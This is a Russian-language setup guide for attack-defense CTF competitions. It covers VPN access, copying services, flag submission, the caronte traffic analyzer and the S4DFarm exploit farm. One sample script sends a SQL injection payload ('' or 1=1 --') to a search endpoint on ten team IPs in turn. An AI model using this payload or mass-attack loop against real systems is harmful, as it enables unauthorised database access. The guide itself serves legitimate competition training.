Подключение к VPN
После того, как капитан раздаст вам конфиги для подключения, необходимо подключиться к сети соревнования.
Про подключение к сети рассказано в VPN
Скопировать сервисы с машинки себе на компьютер
Упаковать все папки с сервисами в архив
tar -czf services.tar.gz <service1_folder> <service2_folder> <service3_folder>
Узнать текущую директорию
pwd
Скопировать архив с машинки на хост в текущую директорию
scp <user>@<vulnbox_ip>:/path/to/services.tar.gz .
Пример простого сплойта
Заметим, что данный сплоит не может быть использован на ферме в виду отсутствия некоторых элементов. Что такое ферма, зачем она нужна и как правильно писать сплоит расскано ниже.
import requests
import sys
ip_list = [ "10.250.1.2", "10.250.2.2", "10.250.3.2", "10.250.4.2", "10.250.5.2", "10.250.6.2", "10.250.7.2", "10.250.8.2", "10.250.9.2", "10.250.10.2" ]
port = 8002
with requests.Session() as s:
for ip in ip_list:
url = "http://" + str(ip) + ":" + str(port)
r = s.post(url+"/search/",data={"search": "search=' or 1=1 --"})
print(r.text)
Ручная отправка флага на журейку
Пример на curl
curl -s \
-H 'X-Team-Token: <token>' \
-X PUT \
-d '["<flag_1>", "<flag_2>", "<flag_3>"]' \
http://<checksystem_ip>/flags
Пример python
import requests
url = "http://10.250.3.2/flags"
headers = {"X-Team-Token": "<team_token>"}
data = '["<flag_1>","<flag_1>","<flag_1>"]'
response = requests.put(url, headers=headers, data=data)
print(response.text)
Автоматизация
Анализатор трафика
Анализатор трафика — это инструмент для перехвата, анализа и изучения сетевых данных, которые проходят через инфраструктуру соревнования. С помощью него вы можете видеть, как другие команды вас атакуют, как происходит взаимодействие с сервисом и т.д.
git clone https://github.com/eciavatta/caronte
cd caronte
docker compose up -d
- После поднятия контейнера настроить IP вашего бокса, regex флага, и опционально аутентификацию (если запускаете на самой машинке).
- Добавить названия сервисов, их порты и цвета для обозначения
- Начать генерацию pcap файлов с помощью
tcpdump -i $interface -G 10 -w ./pcaps/pcap_%Y%m%d_%H%M%S.pcap -Z root
- Настроить отправку трафика на caronte с помощью скрипта feedCaronte.sh, лежащего в папке
caronte/scripts/
(если используете аутентификацию, в curl не забудьте добавить заголовок Authorization для использования HTTP Basic авторизации -H “Authorization: Basic CREDENTIALS”, где CREDENTIALS - строка login:password, преобразованная в base64)
Ферма
Всю информацию о назначении фермы и т.д. можно прочитать тут
git clone https://github.com/C4T-BuT-S4D/S4DFarm
cd S4DFarm
vim server/app/config.py # Необходимо настроить IP range команд для атаки, выбрать протокол, используемый на соревновании, указать endpoint для сдачи флагов, токен команды, и задать пароль на ферму.
docker compose up -d # Если не билдится, замените в server/docker/front/Dockerfile параметр --frozen-lockfile на --no-frozen-lockfile
Запуск сплоита
Все сплоиты должны запускаться с помощью скрипта
start_sploit.py
, лежащего в папкеclient
фермы. Каждый раунд он будет автоматически атаковать все команды, которые были добавлены в ферму, и отправлять флаги на ферму для сдачи на журейную систему. При запуске минимум необходимо указать адрес фермы, пароль от нее и файл сплойта для запуска. Обычно для запуска таким образом можно запуститьtmux
сессию, в которой будет происходить запуск сплоита.
python3 start_sploit.py --server-url http://<farm_ip>:<farm_port> --server-pass <server_password> <sploit_name.py>
Шаблон сплоита для запуска
Сплоит обязательно должен содержать shebang (строка 1), получать первым агрументом IP адрес команды, которую нужно атаковать, и выводить информацию с аргументом
flush=True
. Вывод сплойта фильтровать не обязательно, ферма сама будет матчить по regex флага. Чуть более подробно про формат сплоита написано тут
#!/usr/bin/env python3
import sys
host = sys.argv[1] # 1 аргумент - ip адрес команды, которая будет атакована
#
# Основная часть сплойта, тут происходит вся магия
#
print(flag, flush=True) # параметр flush. Без него часть флагов может быть потеряна.